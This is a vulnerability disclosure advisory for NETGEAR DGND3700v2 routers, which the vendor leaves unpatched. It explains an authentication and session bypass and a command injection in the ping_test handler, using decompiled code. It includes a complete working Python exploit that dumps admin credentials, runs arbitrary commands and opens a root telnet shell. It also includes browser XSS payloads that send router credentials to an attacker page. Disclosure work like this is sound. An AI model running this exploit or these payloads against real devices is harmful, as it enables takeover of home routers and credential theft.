SSD Advisory – NETGEAR DGND3700v2 PreAuth Root Access

TL;DR

Find out how two flaws in NETGEAR DGND3700v2 devices allow remote unauthenticated attackers to trigger bypass the authentication mechanism and run commands as root.

Vulnerability Summary

Two security flaws in NETGEAR DGND3700v2 allows remote attackers that access the setup.cgi with the passwordrecoverd.htm referenced to bypass the authentication mechanism, a subsequent call to setup.cgi with currentsettings.htm to inject arbitrary commands via the ping_test functionality.

CVE

TBD

Credit

An independent security researcher has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

  • NETGEAR DGND3700v2 (all firmware versions)

Vendor Response

“NETGEAR will not release a fix for this vulnerability on the affected product as the product is outside of the security support period. Current in-support models are not affected by this vulnerability.”

Vulnerability Analysis

NETGEAR DGND3700v2 suffers from two logic flaws that allow to compromise remotely the affected devices. The flaws have been tested all available firmware versions.

Reproducing

There are two ways to use the bug depending on where the attacker is: a LAN version (that also works against devices that have turned on remote management like in this Shodan query or directly from the Internet (like in a browser exploit).

LAN / remote management turned on

exploit.py can be used to trigger the issues from the LAN side and if the remote management is enabled.

>python exploit.py

           .    '                   .  "   '
                  .  .  .                 '      '
          "`       .   .
                                           '     '
        .    '      _______________
                ==c(___(o(______(_()
                        \=\
                         )=\
                        //|\\
                       //|| \\
                      // ||  \\
                     //  ||   \\
                    //         \\
    «Longue vue» LAN exploit targeting NETGEAR DGND3700v2


usage: Longue vue [-h] [--dump-pwd] [--shell] [--cmd CMD] [--target TARGET]

optional arguments:
  -h, --help       show this help message and exit
  --dump-pwd
  --shell
  --cmd CMD
  --target TARGET

Here is an example of using it to get a remote shell on the device; note that routerlogin.com should resolve to the device IP:

>python longue-vue.py --target routerlogin.com --shell
[...]
Getting a shell against routerlogin.com..
Waiting a few seconds before connecting..
Dropping in the shell, exit with ctrl+c
# /bin/ps
/bin/ps
  PID USER       VSZ STAT COMMAND
    1 root      1100 S    init
    2 root         0 SW<  [kthreadd]
    3 root         0 SW<  [migration/0]
    4 root         0 SW   [sirq-high/0]
    5 root         0 SW   [sirq-timer/0]
    6 root         0 SW   [sirq-net-tx/0]
    7 root         0 SW   [sirq-net-rx/0]
    8 root         0 SW   [sirq-block/0]
    9 root         0 SW   [sirq-tasklet/0]
   10 root         0 SW   [sirq-sched/0]
   11 root         0 SW   [sirq-hrtimer/0]
   12 root         0 SW   [sirq-rcu/0]
   13 root         0 SW<  [migration/1]
   14 root         0 SW   [sirq-high/1]
   15 root         0 SW   [sirq-timer/1]
   16 root         0 SW   [sirq-net-tx/1]
   17 root         0 SW   [sirq-net-rx/1]
   18 root         0 SW   [sirq-block/1]
   19 root         0 SW   [sirq-tasklet/1]
   20 root         0 SW   [sirq-sched/1]
   21 root         0 SW   [sirq-hrtimer/1]
   22 root         0 SW   [sirq-rcu/1]
   23 root         0 SW<  [events/0]
   24 root         0 SW<  [events/1]
   25 root         0 SW<  [khelper]
   28 root         0 SW<  [async/mgr]
   92 root         0 SW<  [kblockd/0]
   93 root         0 SW<  [kblockd/1]
  102 root         0 SW<  [khubd]
  120 root         0 SW<  [bpm]
  136 root         0 SW   [pdflush]
  137 root         0 SW   [pdflush]
  138 root         0 SWN  [kswapd0]
  140 root         0 SW<  [crypto/0]
  141 root         0 SW<  [crypto/1]
  198 root         0 SW<  [mtdblockd]
  246 root         0 SW   [board-timer]
  250 root         0 SW<  [linkwatch]
  306 root         0 SW   [kpAliveWatchdog]
  312 root         0 SW   [dsl0]
  321 root         0 SW   [bcmsw]
  322 root         0 SW   [bcmsw_timer]
  409 root      1500 S    /usr/sbin/swmdk
  411 root      1500 S    /usr/sbin/swmdk
  412 root      1500 S    /usr/sbin/swmdk
  417 root      1272 S    /sbin/klogd
  419 root       808 S    /usr/sbin/cmd_agent_ap
  421 root         0 SWN  [jffs2_gcd_mtd4]
  422 root         0 SWN  [jffs2_gcd_mtd3]
  423 root         0 SWN  [jffs2_gcd_mtd12]
  424 root         0 SWN  [jffs2_gcd_mtd11]
  425 root         0 SWN  [jffs2_gcd_mtd10]
  426 root         0 SWN  [jffs2_gcd_mtd9]
  427 root         0 SWN  [jffs2_gcd_mtd2]
  428 root         0 SWN  [jffs2_gcd_mtd8]
[...]
# *** Connection closed by remote host ***
Cleaning up..
Joining..
----------------------------Done----------------------------

From the Internet

The easiest way to set the attack is to start python -m http.server from the web/ directory; then edit the hosts file of the OS (C:\Windows\System32\drivers\etc\hosts on Windows, /etc/hosts on Linux) and add an entry:

[...]
<your local ip> longue-vue.net

Here is an example:

[...]
192.168.0.2 longue-vue.net

Once this is done, you can open a browser (we’ve only tested this on Microsoft Edge Chromium; we don’t see why it wouldn’t work on regular Chrome though) and navigate to longue-vue.net and press the button.

Vulnerabilities

Two vulnerabilities are used; an authentication bypass (as well as a session bypass) and a command injection.

Most of the web functionality is implemented in a CGI executable most likely written in C. The HTTP server is based off mini_httpd with some modifications / customisation. mini_httpd is the process that sets up the environment variables that the CGI executable uses to understand the request that it has to serve for the user.

The CGI executable where most (maybe all of it) of the functionality is implemented is setup.cgi.

Bypassing authentication / session

The way web authentication “works” on this device is using a very bad design. Basically the web server sets an environment variable called NEED_AUTH before invoking setup.cgi, then setup.cgi runs the authentication code accordingly.

Now because there are some resources that needs to be available without authentication (like the page that you get when you enter wrong credentials), the http server tries to figure out if the resource needs to be authenticated or not.

.data:0041EB20 SpecialNonAuthPages:.word aCurrentsetting
.data:0041EB20                           # DATA XREF: handle_request+12F8↑o
.data:0041EB20                           # main+BF0↑o
.data:0041EB20                           # "currentsetting.htm"
.data:0041EB24  .word aUpdateSettingH    # "update_setting.htm"
.data:0041EB28  .word aDebuginfoHtm      # "debuginfo.htm"
.data:0041EB2C  .word aImportantUpdat    # "important_update.htm"
.data:0041EB30  .word aMNUtopHtm         # "MNU_top.htm"
.data:0041EB34  .word aWarningPgHtm      # "warning_pg.htm"
.data:0041EB38  .word aMultiLoginHtml    # "multi_login.html"
.data:0041EB3C  .word aHtpwdRecoveryC    # "htpwd_recovery.cgi"
.data:0041EB40  .word a401RecoveryHtm    # "401_recovery.htm"
.data:0041EB44  .word a401AccessDenie    # "401_access_denied.htm"

One way it does that is by looking if the URL contains currentsetting.htm (for example).

// .text:0040609C handle_request
char *handle_request()
{
  //...
  CurrSpecialPagePtr = (const char **)SpecialNonAuthPages;
  while ( 1 )
  {
    CurrSpecialPage = *CurrSpecialPagePtr;
    if ( !*CurrSpecialPagePtr )
      break;
    ++CurrSpecialPagePtr;
    // If we find a hit, we special case the request
    if ( strstr(v60, CurrSpecialPage) )
      goto LABEL_171;
  }
  if ( !strstr(v60, ".gif")
    && !strstr(v60, ".css")
    && !strstr(v60, ".js")
    && !strstr(v60, ".xml")
    && !strstr(v60, ".jpg") )
  {
    goto LABEL_173;
  }
LABEL_171:
  NeedAuth = 0;

Obviously an attacker can abuse this very easily by just appending foo=currentsetting.htm in every authenticated URL the attacker wants to access.

def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd

Then, setup.cgi is spawned:

.text:00405BAC   move    $a1, $zero       # handler
.text:00405BB0   lw      $gp, 0x2B38+var_2B10($sp)
.text:00405BB4   move    $a0, $s1         # path
.text:00405BB8   la      $t9, execve
.text:00405BBC   move    $a1, $s0         # argv
.text:00405BC0   jalr    $t9 ; execve
.text:00405BC4   move    $a2, $s2         # envp

Now, this is a stripped version of setup.cgi‘s main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  // ...
  strcpy(SessionFilepath, "/tmp/SessionFile");
  memset(&SessionFilepath[17], 0, 0x6Fu);
  // ...
  QueryStringIdPtr = strstr(QueryString, "id=");
  if ( !QueryStringIdPtr )
  {
      // ...
  }
  QueryStringId = strtol(QueryStringIdPtr + 3, &QueryStringAfterIdPtr, 16);
  if ( QueryStringAfterIdPtr )
  {
    QueryStringSpPtr = strstr(QueryStringAfterIdPtr, "sp=");
    if ( QueryStringSpPtr )
      strcat(SessionFilepath, QueryStringSpPtr + 3);
  }
  SessionId = ReadSessionId(SessionFilepath);
  ConFd__ = fopen("/dev/console", "w");
  if ( ConFd__ )
  {
    fprintf(ConFd__, "[ %s - %d ] : ", "sid_verify", 201);
    fprintf(ConFd__, "<%s> your_sid = <%08x>, my_sid = <%08x> \n", SessionFilepath, QueryStringId, SessionId);
    fflush(ConFd__);
    fclose(ConFd__);
  }
  if ( QueryStringId != SessionId )
    goto SendForbidden;
  // ...
}

The functionality is basically gated behind those checks; we haven’t encountered the authentication yet. That’s what I called the ‘session bypass’ which I am not too sure if it is a real security measure or not.
In any case, the way it works is that the code creates a file callled /tmp/SessionFileXXX with an integer written into it (yes it’s also has a remote pre-auth stack-overflow). Now when setup.cgi receives the sp=XXX parameter in the URL it concatenates its value to /tmp/SessionFileXXX in SessionFilePath.

After that ReadSessionId is called with SessionFilepath; here is what the function looks like:

int __fastcall ReadSessionId(const char *Filename)
{
  FILE *Fd;
  int SessionId;

  SessionId = 0;
  Fd = fopen(Filename, "r");
  if ( !Fd )
    return SessionId;
  fscanf(Fd, "%x", &SessionId);
  fclose(Fd);
  return SessionId;
}

The function is really simple: it basically opens the file path passed, read an hexadecimal string into an integer which is SessionId and returns it. The caller simply compares the value passed in id= to the value stored in the file. If the secret matches, then the code keeps going otherwise it sends a forbidden answer to the user.

This is very easy to bypass, we can simply pass sp=1337 which will not exist on the device; fopen will fail and it will return SessionId which is initialized to zero.. which means we can just pass id=0 to bypass the session check.

def cmd_exec(target, cmd, silent = False):
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm',

The code carries on and you can trigger different functionality based on the GET parameters received, or if it was a POST request. Here is what the functions look like:

int HandleSetupCgi()
{
  int List;
  const char *NextFile;
  const char *ActionName;

  List = cgi_input_parse();
  fflush(stdout);
  if ( check_need_logout(List) )
    return handle_logout(List);

cgi_input_parse basically parse the query string and creates a list of key / value items. The list is passed around to various functions instead of parsing the query string over and over again.

In check_need_logout we finally have the NEED_AUTH variable I mentioned earlier.

bool __fastcall check_need_logout(int List)
{
  // ...
  LoginIp = getenv("LOGIN_IP");
  NeedAuth = getenv("NEED_AUTH");
  // ...
  if ( NeedAuth )
  {
    Return = 0;
    if ( *NeedAuth == '0' )
      return Return;
  }
 //...
}

The function needs to return zero for the caller to expose functionality. If the variable NEED_AUTH is present in the environment, the code checks if it is “0” and if so it returns 0 which is what we want. Because of the issue exploited in the http server, NEED_AUTH will be set to 0 and this is how we bypass authentication.

At this point we can access any functionality exposed by the web UI which means we can leak the HTTP passwords, etc.

Executing arbitrary commands

setup.cgi implements a weird command model and one of them allows you to ping an arbitrary IP (it is available in Advanced > Administration > Diagnostics). The code that implements this is defined as below:

int __fastcall handler_ping_test(int a1)
{
  const char *v2; // $s2
  const char *v3; // $v0
  char v5[128]; // [sp+18h] [-80h] BYREF

  v2 = (const char *)find_val(a1, (int)"c4_IPAddr");
  if ( !v2 )
    v2 = &nptr;
  if ( !strchr(v2, '-') && !strchr(v2, ';') )
  {
    sprintf(v5, "/bin/ping -c 4 %s", v2);
    myPipe(v5, &ping_output);
  }
  v3 = (const char *)find_val(a1, (int)"next_file");
  html_parser(v3, a1, &key_fun_tab);
  return 0;
}

There is a trivial injection here via the c4_IPAddr post parameter. The two only characters we can’t use are - and ;. But this is enough to run a telnet server available from the LAN for example:

def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'127.0.0.1 && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })

    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())

def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)

Bypassing CORS in the remote from the Internet scenario

When running the exploit via the browser, one issue that arises is that the origin longue-vue.net is not allowed to read cross origin data. Even though it can post / get and trigger the issues discussed above it cannot read the result.

The trick used to bypass this is to convert the command execution vulnerability above to create an XSS (running /bin/echo PAYLOAD). The XSS payload runs in the context of the router’s origin and is able to leak the data to the attacker server. That is how is implemented the leak of HTTP credentials:

//
// Dump the passwords of the administrator.
//

function dumpPasswords() {

  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //

  const payload = `fetch('/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm').then(r=>r.text()).then(r=>parent.postMessage(r, '*')).catch(r=>parent.postMessage('failed','*'))`;
  return execute(payload).then(R => {
    const [loginMatch, pwdMatch] = R.matchAll(/Router Admin (?:Username|Password)<\/span>:&nbsp;(.+)<\/td>/g);
    return {'login':loginMatch[1], 'pwd':pwdMatch[1]};
  });
}

As well as reading the results of the arbitrary commands executed on the target:

//
// Execute a shell command on the router.
//

function executeCommand(command) {
  if (command.includes(';') || command.includes('-')) {
    throw 'cannot inject ";" or "-"';
  }

  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //

  const payload = "parent.postMessage(document.body.outerHTML,'*')";
  const commands = ['/bin/echo BEGIN', command, '/bin/echo END'];
  return execute(payload, commands).then(r => {
    const [_, result] = r.match(/BEGIN\n(.+)\nEND/s);
    return result;
  });
}

Exploit

import requests
import re
import threading
import telnetlib
import time
import argparse

def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd

def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'127.0.0.1 && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })

    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())

def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)

def main():
    parser = argparse.ArgumentParser('Longue vue')
    parser.add_argument('--dump-pwd', action = 'store_true', default = False)
    parser.add_argument('--shell', action = 'store_true', default = False)
    parser.add_argument('--cmd')
    parser.add_argument('--target', default = 'routerlogin.com')
    args = parser.parse_args()

    if not args.dump_pwd and not args.shell and not args.cmd:
        parser.print_help()
        return

    if args.dump_pwd:
        print('Dumping administration password...')
        login, pwd = dump_http_pwd(args.target)
        print(f'Login: {repr(login)}, Password: {repr(pwd)}')

    if args.cmd is not None:
        if '-' in args.cmd or ';' in args.cmd:
            print('Both "-" and ";" are disallowed by the command injection bug, use the shell instead.')
            return

        print(f'Executing {repr(args.cmd)} against {args.target}..')
        cmd_exec(args.target, args.cmd)

    if args.shell:
        print(f'Getting a shell against {args.target}..')
        telnetd = threading.Thread(target = spawn_telnetd, args = (args.target, ))
        telnetd.start()
        print('Waiting a few seconds before connecting..')
        time.sleep(5)
        print('Dropping in the shell, exit with ctrl+c')
        try:
            with telnetlib.Telnet(args.target) as tn:
                tn.mt_interact()
        except:
            pass

        print('Cleaning up..')
        cmd_exec(args.target, '/bin/kill $(/bin/pidof utelnetd)', silent = True)
        print('Joining..')
        telnetd.join()

    print('Done'.center(60, '-'))

main()